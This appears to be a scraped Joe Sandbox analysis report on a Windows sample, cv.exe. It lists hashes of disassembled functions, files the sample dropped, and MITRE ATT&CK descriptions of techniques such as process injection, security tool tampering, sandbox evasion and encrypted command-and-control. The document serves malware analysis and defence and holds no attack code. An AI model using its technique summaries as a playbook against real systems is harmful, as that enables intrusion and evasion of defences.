Opcode Fuzzy Hash: e70592ac5cde5817371297adfe95d2c1a60aae1aaa0b59b98cdcdf1adf753a5f
Instruction Fuzzy Hash: 09C1D3B18117458BE720CF69F84C2897BB1BB85328F658319D2616F2F8DBB8158BCF44

Function 06893310 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 824153726a435e9639a8c9f5800dd66d5c698e7c0d58951aeb9fce6657c756b4
Instruction ID: 7a0c24f9d340ad4e3f90e7a19944391dc36d743d3772d6c15a7930249b08ca87
Opcode Fuzzy Hash: 824153726a435e9639a8c9f5800dd66d5c698e7c0d58951aeb9fce6657c756b4
Instruction Fuzzy Hash: BB912574E01218CFDF58CFA5D9586AEBBB2FB89300F24942AD506FB214DB349945CF68

Function 0500ACC7 Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057186100.0000000005000000.00000040.00000800.00020000.00000000.sdmp, Offset: 05000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5000000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10b95824fba9a4e1b39ca99ab6e5a2c34a695451336f104e2da0dcd56b0c518b
Instruction ID: 619ab9519a797d5959868da7b8605a9d356365720548474c110cf4926a902128
Opcode Fuzzy Hash: 10b95824fba9a4e1b39ca99ab6e5a2c34a695451336f104e2da0dcd56b0c518b
Instruction Fuzzy Hash: 0AC1D3B18117458BE720CF69F84C2897BB1BB85328F658719D2616F2F8DBB8158BCF44

Function 068939EC Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2060104171.0000000006890000.00000040.00000800.00020000.00000000.sdmp, Offset: 06890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6890000_cv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26d1212f22aaa4050301d31f1cf348d4772509f9c16cb673d04f5e6655f1b713
Instruction ID: 110cadd2bf6597cd8b4ab1dd7e528c0dad027e8185f353f0dc21d415c621ec66
Opcode Fuzzy Hash: 26d1212f22aaa4050301d31f1cf348d4772509f9c16cb673d04f5e6655f1b713
Instruction Fuzzy Hash: 38219571E006198BEB58CFABD9442DEBAF3AFC8310F18C07AD558A7254EB7009568F54

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cv.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3a7036a6-841f-4484-8544-8baeef69904f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6a2ec7e0-55fe-479b-83b3-55066cc84cc9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6cc42d.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241213122801Z-204.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
cv.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre